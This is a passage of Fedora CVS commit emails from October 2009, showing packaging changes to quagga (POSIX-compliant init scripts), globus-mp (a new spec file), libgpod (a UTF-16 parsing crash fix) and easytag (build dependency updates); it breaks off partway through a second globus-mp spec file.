Message-ID: <20091019115625.CCB5011C00DC@cvs1.fedora.phx.redhat.com>

Author: jskala

Update of /cvs/extras/rpms/quagga/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2776

Modified Files:
	.cvsignore quagga.spec sources 
Added Files:
	quagga-0.99.15-posix.patch 
Log Message:
* Mon Oct 19 2009 Jiri Skala <jskala at redhat.com> - 0.99.15-1
- bump to latest upstream
- fixed #527734 - posix compliant init scripts


quagga-0.99.15-posix.patch:
 bgpd.init   |   10 +++++++---
 ospf6d.init |   10 +++++++---
 ospfd.init  |   10 +++++++---
 ripd.init   |   10 +++++++---
 ripngd.init |   10 +++++++---
 zebra.init  |   10 +++++++---
 6 files changed, 42 insertions(+), 18 deletions(-)

--- NEW FILE quagga-0.99.15-posix.patch ---
diff -up quagga-0.99.15/redhat/bgpd.init.posix quagga-0.99.15/redhat/bgpd.init
--- quagga-0.99.15/redhat/bgpd.init.posix	2009-10-19 08:52:03.018303218 +0200
+++ quagga-0.99.15/redhat/bgpd.init	2009-10-19 09:58:18.694292887 +0200
@@ -30,6 +30,10 @@ case "$1" in
 
 	# The process must be configured first.
 	[ -f $CONF_FILE ] || exit 6
+	if [ `id -u` -ne 0 ]; then
+		echo $"Insufficient privilege" 1>&2
+		exit 4
+	fi
 
 	echo -n $"Starting $PROG: "
         daemon $cmd -d $BGPD_OPTS
@@ -44,12 +48,12 @@ case "$1" in
 	[ $RETVAL -eq 0 ] && rm -f $LOCK_FILE
 	echo
 	;;
-  restart|reload)
+  restart|reload|force-reload)
         $0 stop
         $0 start
 	RETVAL=$?
         ;;
-  condrestart)
+  condrestart|try-restart)
         if [ -f $LOCK_FILE ]; then
                 $0 stop
 		$0 start
@@ -61,7 +65,7 @@ case "$1" in
 	RETVAL=$?
         ;;
   *)
-	echo $"Usage: $0 {start|stop|restart|reload|condrestart|status}"
+	echo $"Usage: $0 {start|stop|restart|reload|force-reload|try-restart|status}"
 	exit 2
 esac
 
diff -up quagga-0.99.15/redhat/ospf6d.init.posix quagga-0.99.15/redhat/ospf6d.init
--- quagga-0.99.15/redhat/ospf6d.init.posix	2009-10-19 08:54:10.135543594 +0200
+++ quagga-0.99.15/redhat/ospf6d.init	2009-10-19 09:53:29.288294085 +0200
@@ -29,6 +29,10 @@ case "$1" in
 
 	# The process must be configured first.
 	[ -f $CONF_FILE ] || exit 6
+	if [ `id -u` -ne 0 ]; then
+		echo $"Insufficient privilege" 1>&2
+		exit 4
+	fi
 
 	echo -n $"Starting $PROG: "
         daemon $cmd -d $OSPF6D_OPTS
@@ -43,12 +47,12 @@ case "$1" in
 	[ $RETVAL -eq 0 ] && rm -f $LOCK_FILE
 	echo
 	;;
-  restart|reload)
+  restart|reload|force-reload)
         $0 stop
         $0 start
 	RETVAL=$?
         ;;
-  condrestart)
+  condrestart|try-restart)
         if [ -f $LOCK_FILE ]; then
                 $0 stop
 		$0 start
@@ -60,7 +64,7 @@ case "$1" in
 	RETVAL=$?
         ;;
   *)
-	echo $"Usage: $PROG {start|stop|restart|reload|condrestart|status}"
+	echo $"Usage: $PROG {start|stop|restart|reload|force-reload|try-restart|status}"
 	exit 2
 esac
 
diff -up quagga-0.99.15/redhat/ospfd.init.posix quagga-0.99.15/redhat/ospfd.init
--- quagga-0.99.15/redhat/ospfd.init.posix	2009-10-19 08:52:03.017303137 +0200
+++ quagga-0.99.15/redhat/ospfd.init	2009-10-19 09:56:42.380294279 +0200
@@ -29,6 +29,10 @@ case "$1" in
 
 	# The process must be configured first.
 	[ -f $CONF_FILE ] || exit 6
+	if [ `id -u` -ne 0 ]; then
+		echo $"Insufficient privilege" 1>&2
+		exit 4
+	fi
 
 	echo -n $"Starting $PROG: "
         daemon $cmd -d $OSPFD_OPTS
@@ -43,12 +47,12 @@ case "$1" in
 	[ $RETVAL -eq 0 ] && rm -f $LOCK_FILE
 	echo
 	;;
-  restart|reload)
+  restart|reload|force-reload)
         $0 stop
         $0 start
 	RETVAL=$?
         ;;
-  condrestart)
+  condrestart|try-restart)
         if [ -f $LOCK_FILE ]; then
                 $0 stop
 		$0 start
@@ -60,7 +64,7 @@ case "$1" in
 	RETVAL=$?
         ;;
   *)
-	echo $"Usage: $PROG {start|stop|restart|reload|condrestart|status}"
+	echo $"Usage: $PROG {start|stop|restart|reload|force-reload|try-restart|status}"
 	exit 2
 esac
 
diff -up quagga-0.99.15/redhat/ripd.init.posix quagga-0.99.15/redhat/ripd.init
--- quagga-0.99.15/redhat/ripd.init.posix	2009-10-19 09:57:08.605329988 +0200
+++ quagga-0.99.15/redhat/ripd.init	2009-10-19 09:59:21.872294779 +0200
@@ -29,6 +29,10 @@ case "$1" in
 
 	# The process must be configured first.
 	[ -f $CONF_FILE ] || exit 6
+	if [ `id -u` -ne 0 ]; then
+		echo $"Insufficient privilege" 1>&2
+		exit 4
+	fi
 
 	echo -n $"Starting $PROG: "
         daemon $cmd -d $RIPD_OPTS
@@ -43,12 +47,12 @@ case "$1" in
 	[ $RETVAL -eq 0 ] && rm -f $LOCK_FILE
 	echo
 	;;
-  restart|reload)
+  restart|reload|force-reload)
         $0 stop
         $0 start
 	RETVAL=$?
         ;;
-  condrestart)
+  condrestart|try-restart)
         if [ -f $LOCK_FILE ]; then
                 $0 stop
 		$0 start
@@ -60,7 +64,7 @@ case "$1" in
 	RETVAL=$?
         ;;
   *)
-	echo $"Usage: $0 {start|stop|restart|reload|condrestart|status}"
+	echo $"Usage: $0 {start|stop|restart|reload|force-reload|try-restart|status}"
 	exit 2
 esac
 
diff -up quagga-0.99.15/redhat/ripngd.init.posix quagga-0.99.15/redhat/ripngd.init
--- quagga-0.99.15/redhat/ripngd.init.posix	2009-10-19 09:59:42.545325446 +0200
+++ quagga-0.99.15/redhat/ripngd.init	2009-10-19 10:04:01.286294713 +0200
@@ -29,6 +29,10 @@ case "$1" in
 
 	# The process must be configured first.
 	[ -f $CONF_FILE ] || exit 6
+	if [ `id -u` -ne 0 ]; then
+		echo $"Insufficient privilege" 1>&2
+		exit 4
+	fi
 
 	echo -n $"Starting $PROG: "
         daemon $cmd -d $RIPNGD_OPTS
@@ -43,12 +47,12 @@ case "$1" in
 	[ $RETVAL -eq 0 ] && rm -f $LOCK_FILE
 	echo
 	;;
-  restart|reload)
+  restart|reload|force-reload)
         $0 stop
         $0 start
 	RETVAL=$?
         ;;
-  condrestart)
+  condrestart|try-restart)
         if [ -f $LOCK_FILE ]; then
                 $0 stop
 		$0 start
@@ -60,7 +64,7 @@ case "$1" in
 	RETVAL=$?
         ;;
   *)
-	echo $"Usage: $0 {start|stop|restart|reload|condrestart|status}"
+	echo $"Usage: $0 {start|stop|restart|reload|force-reload|try-restart|status}"
 	exit 2
 esac
 
diff -up quagga-0.99.15/redhat/zebra.init.posix quagga-0.99.15/redhat/zebra.init
--- quagga-0.99.15/redhat/zebra.init.posix	2009-10-19 10:00:32.754573536 +0200
+++ quagga-0.99.15/redhat/zebra.init	2009-10-19 10:06:26.378294314 +0200
@@ -26,6 +26,10 @@ case "$1" in
 
 	# The process must be configured first.
 	[ -f $CONF_FILE ] || exit 6
+	if [ `id -u` -ne 0 ]; then
+		echo $"Insufficient privilege" 1>&2
+		exit 4
+	fi
 
 	echo -n $"Starting $PROG: "
 
@@ -43,12 +47,12 @@ case "$1" in
 	[ $RETVAL -eq 0 ] && rm -f $LOCK_FILE
 	echo
 	;;
-  restart|reload)
+  restart|reload|force-reload)
         $0 stop
         $0 start
 	RETVAL=$?
         ;;
-  condrestart)
+  condrestart|try-restart)
         if [ -f $LOCK_FILE ]; then
                 $0 stop
 		$0 start
@@ -60,7 +64,7 @@ case "$1" in
 	RETVAL=$?
         ;;
   *)
-	echo $"Usage: $0 {start|stop|restart|reload|condrestart|status}"
+	echo $"Usage: $0 {start|stop|restart|reload|force-reload|try-restart|status}"
 	exit 2
 esac
 


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/quagga/devel/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	20 May 2009 12:38:58 -0000	1.21
+++ .cvsignore	19 Oct 2009 11:56:25 -0000	1.22
@@ -1 +1 @@
-quagga-0.99.12.tar.gz
+quagga-0.99.15.tar.gz


Index: quagga.spec
===================================================================
RCS file: /cvs/extras/rpms/quagga/devel/quagga.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- quagga.spec	14 Sep 2009 12:05:04 -0000	1.54
+++ quagga.spec	19 Oct 2009 11:56:25 -0000	1.55
@@ -31,8 +31,8 @@
 
 Summary:    Routing daemon
 Name:		quagga
-Version:	0.99.12
-Release:    4%{?dist}
+Version:	0.99.15
+Release:    1%{?dist}
 Epoch:      0
 License:	GPLv2+
 Group:      System Environment/Daemons
@@ -40,6 +40,7 @@ Source0:	http://www.quagga.net/download/
 Source1:    quagga-filter-perl-requires.sh
 Patch2:		quagga-0.96.5-nostart.patch
 Patch7:		quagga-0.99.9-initscript.patch
+Patch8:		quagga-0.99.15-posix.patch
 
 URL:		http://www.quagga.net
 %if %with_snmp
@@ -95,6 +96,7 @@ developing OSPF-API and quagga applicati
 %patch2 -p1 -b .nostart
 # This creates a .diff file that we apply after configuring
 %patch7 -p1 -b .initscript
+%patch8 -p1 -b .posix
 
 %build
 # FC5+ automatic -fstack-protector-all switch
@@ -346,6 +348,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct 19 2009 Jiri Skala <jskala at redhat.com> - 0.99.15-1
+- bump to latest upstream
+- fixed #527734 - posix compliant init scripts
+
 * Mon Sep 14 2009 Jiri Skala <jskala at redhat.com> - 0.99.12-3
 - fixed #516005 - Errors installing quagga-0.99.11-2.fc11.i586 with --excludedocs
 - fixed #522787 - quagga: build future versions without PAM


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/quagga/devel/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	20 May 2009 12:38:58 -0000	1.21
+++ sources	19 Oct 2009 11:56:25 -0000	1.22
@@ -1 +1 @@
-d2bb513f4ac113dbb300c15a0bd0a241  quagga-0.99.12.tar.gz
+8975414c76a295f4855a417af0b5ddce  quagga-0.99.15.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 11:56:51 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:56:51 +0000 (UTC)
Subject: rpms/globus-mp/devel globus-mp.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019115651.9A77E11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-mp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2922/devel

Modified Files:
	.cvsignore sources 
Added Files:
	globus-mp.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated



--- NEW FILE globus-mp.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-mp
%global _name %(tr - _ <<< %{name})
Version:	2.1
Release:	1%{?dist}
Summary:	Globus Toolkit - Message Passing Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/mp/source globus_mp-2.1
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_mp-2.1
#		tar -zcf globus_mp-2.1.tar.gz globus_mp-2.1
Source:		%{_name}-%{version}.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Message Passing Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Message Passing Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Message Passing Library Development Files

%prep
%setup -q -n %{_name}-%{version}

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated


--- NEW FILE import.log ---
globus-mp-2_1-1_fc11:HEAD:globus-mp-2.1-1.fc11.src.rpm:1255953370


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-mp/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:44:09 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:56:50 -0000	1.2
@@ -0,0 +1 @@
+globus_mp-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-mp/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:44:09 -0000	1.1
+++ sources	19 Oct 2009 11:56:51 -0000	1.2
@@ -0,0 +1 @@
+31baf369544156d8cbf1bf385d3498fe  globus_mp-2.1.tar.gz



From hadess at fedoraproject.org  Mon Oct 19 11:59:45 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 11:59:45 +0000 (UTC)
Subject: rpms/libgpod/F-12 libgpod-utf16-parsing.patch, NONE,
	1.1 libgpod.spec, 1.26, 1.27
Message-ID: <20091019115945.918CD11C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/libgpod/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3690

Modified Files:
	libgpod.spec 
Added Files:
	libgpod-utf16-parsing.patch 
Log Message:
* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-3
- Fix crasher when parsing UTF-16 strings with a BOM (#517642)


libgpod-utf16-parsing.patch:
 itdb_itunesdb.c |   72 ++++++++++++++++++++++++++++++++------------------------
 1 file changed, 42 insertions(+), 30 deletions(-)

--- NEW FILE libgpod-utf16-parsing.patch ---
diff --git a/src/itdb_itunesdb.c b/src/itdb_itunesdb.c
index c41e758..3f352e1 100644
--- a/src/itdb_itunesdb.c
+++ b/src/itdb_itunesdb.c
@@ -1286,6 +1286,45 @@ static gint32 get_mhod_type (FContents *cts, glong seek, guint32 *ml)
     return type;
 }
 
+static char *extract_mhod_string (FContents *cts, glong seek)
+{
+    gunichar2 *entry_utf16;
+    char *entry_utf8;
+    gint string_type;
+    gsize len;
+
+    /* type of string: 0x02: UTF8, 0x01 or 0x00: UTF16 LE */
+    string_type = get32lint (cts, seek);
+    len = get32lint (cts, seek+4);   /* length of string */
+    g_return_val_if_fail (len < G_MAXUINT - 2, NULL);
+    if (string_type != 0x02) {
+	/* UTF-16 string */
+	entry_utf16 = g_new0 (gunichar2, (len+2)/2);
+	if (seek_get_n_bytes (cts, (gchar *)entry_utf16, seek+16, len)) {
+	    fixup_little_utf16 (entry_utf16);
+	    entry_utf8= g_utf16_to_utf8 (entry_utf16, -1, NULL, NULL, NULL);
+	    g_free (entry_utf16);
+	} else { 
+	    g_free (entry_utf16);
+	    return NULL;
+	}
+    } else {
+	/* UTF-8 string */
+	entry_utf8 = g_new0 (gchar, len+1);
+	if (!seek_get_n_bytes (cts, entry_utf8, seek+16, len)) {
+	    g_free (entry_utf8);
+	    return NULL;
+	}
+    }
+
+    if (g_utf8_validate (entry_utf8, -1, NULL)) {
+	return entry_utf8;
+    } else {
+	g_free (entry_utf8);
+	return NULL;
+    }
+}
+
 /* Returns the contents of the mhod at position @mhod_seek. This can
    be a simple string or something more complicated as in the case for
    Itdb_SPLPREF OR Itdb_SPLRULES.
@@ -1303,12 +1342,10 @@ static gint32 get_mhod_type (FContents *cts, glong seek, guint32 *ml)
 
 static MHODData get_mhod (FImport *fimp, glong mhod_seek, guint32 *ml)
 {
-  gunichar2 *entry_utf16 = NULL;
   MHODData result;
   gint32 xl;
   guint32 mhod_len;
   gint32 header_length;
-  guint32 string_type;
   gulong seek;
   FContents *cts;
   
@@ -1384,34 +1421,9 @@ static MHODData get_mhod (FImport *fimp, glong mhod_seek, guint32 *ml)
   case MHOD_ID_SORT_ALBUMARTIST:
   case MHOD_ID_SORT_COMPOSER:
   case MHOD_ID_SORT_TVSHOW:
-      /* type of string: 0x02: UTF8, 0x01 or 0x00: UTF16 LE */
-      string_type = get32lint (cts, seek);
-      xl = get32lint (cts, seek+4);   /* length of string */
-      g_return_val_if_fail (xl < G_MAXUINT - 2, result);
-      if (string_type != 0x02)
-      {
-	  entry_utf16 = g_new0 (gunichar2, (xl+2)/2);
-	  if (seek_get_n_bytes (cts, (gchar *)entry_utf16, seek+16, xl))
-	  {
-	      fixup_little_utf16 (entry_utf16);
-	      result.data.string = g_utf16_to_utf8 (entry_utf16, -1,
-						    NULL, NULL, NULL);
-	      g_free (entry_utf16);
-	  }
-	  else
-	  {   /* error */
-	      g_free (entry_utf16);
-	      return result;  /* *ml==-1, result.valid==FALSE */
-	  }
-      }
-      else
-      {
-	  result.data.string = g_new0 (gchar, xl+1);
-	  if (!seek_get_n_bytes (cts, result.data.string, seek+16, xl))
-	  {   /* error */
-	      g_free (entry_utf16);
-	      return result;  /* *ml==-1, result.valid==FALSE */
-	  }
+      result.data.string = extract_mhod_string (cts, seek);
+      if (result.data.string == NULL) {
+	  return result;
       }
       break;
   case MHOD_ID_PODCASTURL:


Index: libgpod.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/F-12/libgpod.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libgpod.spec	25 Jul 2009 05:49:23 -0000	1.26
+++ libgpod.spec	19 Oct 2009 11:59:45 -0000	1.27
@@ -3,13 +3,16 @@
 Summary: Library to access the contents of an iPod
 Name: libgpod
 Version: 0.7.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtkpod.org/libgpod.html
 Source0: http://downloads.sourceforge.net/gtkpod/%{name}-%{version}.tar.gz
 # See http://www.redhat.com/archives/fedora-selinux-list/2009-January/msg00005.html
 Patch0: 0001-Use-var-run-hald-as-mount-dir-for-hal-callout.patch
+# http://gitorious.org/~teuf/libgpod/teuf-sandbox/commit/3847494a513b5ef04d7abbe55c3d95dbcd836ef6
+# https://bugzilla.redhat.com/show_bug.cgi?id=517642
+Patch1: libgpod-utf16-parsing.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: docbook-style-xsl
 BuildRequires: glib2-devel
@@ -78,6 +81,7 @@ libgpod library.
 %prep
 %setup -q
 %patch0 -p1 -b .selinux
+%patch1 -p1 -b .utf16
 
 # remove execute perms on the python examples as they'll be installed in %doc
 %{__chmod} -x bindings/python/examples/*.py
@@ -137,6 +141,9 @@ libgpod library.
 
 
 %changelog
+* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.7.2-3
+- Fix crasher when parsing UTF-16 strings with a BOM (#517642)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.7.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From thias at fedoraproject.org  Mon Oct 19 12:00:03 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Mon, 19 Oct 2009 12:00:03 +0000 (UTC)
Subject: rpms/easytag/F-12 easytag.spec,1.27,1.28
Message-ID: <20091019120004.0023011C02A6@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/easytag/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3880/F-12

Modified Files:
	easytag.spec 
Log Message:
Fix id3 tag support and enable speex support.



Index: easytag.spec
===================================================================
RCS file: /cvs/extras/rpms/easytag/F-12/easytag.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- easytag.spec	12 Sep 2009 14:59:47 -0000	1.27
+++ easytag.spec	19 Oct 2009 12:00:03 -0000	1.28
@@ -1,7 +1,7 @@
 Summary: Tag editor for mp3, ogg, flac and other music files
 Name: easytag
 Version: 2.1.6
-Release: 1%{?dist}
+Release: 2%{?dist}
 # Program is GPL only the included libapetag is LGPL
 License: GPLv2+ and LGPLv2+
 Group: Applications/Multimedia
@@ -15,8 +15,14 @@ Source: easytag-%{version}-patched.tar.b
 Patch0: easytag-2.1.6-id3lib.patch
 Patch1: easytag-2.1.6-cddb_manual_search_fix.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
-BuildRequires: gtk2-devel >= 2.4.0, id3lib-devel >= 3.7.12
-BuildRequires: libvorbis-devel >= 1.0, flac-devel, libmp4v2-devel, wavpack-devel
+BuildRequires: gtk2-devel >= 2.4.0
+BuildRequires: id3lib-devel >= 3.7.12
+BuildRequires: libid3tag-devel
+BuildRequires: libvorbis-devel >= 1.0
+BuildRequires: flac-devel
+BuildRequires: speex-devel
+BuildRequires: libmp4v2-devel
+BuildRequires: wavpack-devel
 BuildRequires: gettext
 
 %description
@@ -59,6 +65,10 @@ find . -type f -exec %{__chmod} -x {} \;
 
 
 %changelog
+* Mon Oct 19 2009 Matthias Saou <http://freshrpms.net/> 2.1.6-2
+- Add libid3tag-devel BR to fix id3 tag support (#525519).
+- Add speex-devel BR to support speex files.
+
 * Sat Sep 12 2009 Matthias Saou <http://freshrpms.net/> 2.1.6-1
 - Update to 2.1.6 : Development, but the latest for over a year now.
 - Include upstream cddb_manual_search_fix patch.



From ellert at fedoraproject.org  Mon Oct 19 12:00:09 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 12:00:09 +0000 (UTC)
Subject: rpms/globus-mp/F-12 globus-mp.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019120009.E4D3311C02A6@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-mp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3955/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	globus-mp.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated



--- NEW FILE globus-mp.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-mp
%global _name %(tr - _ <<< %{name})
Version:	2.1
Release:	1%{?dist}
Summary:	Globus Toolkit - Message Passing Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/mp/source globus_mp-2.1
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_mp-2.1
#		tar -zcf globus_mp-2.1.tar.gz globus_mp-2.1
Source:		%{_name}-%{version}.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Message Passing Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Message Passing Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Message Passing Library Development Files

%prep
%setup -q -n %{_name}-%{version}

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
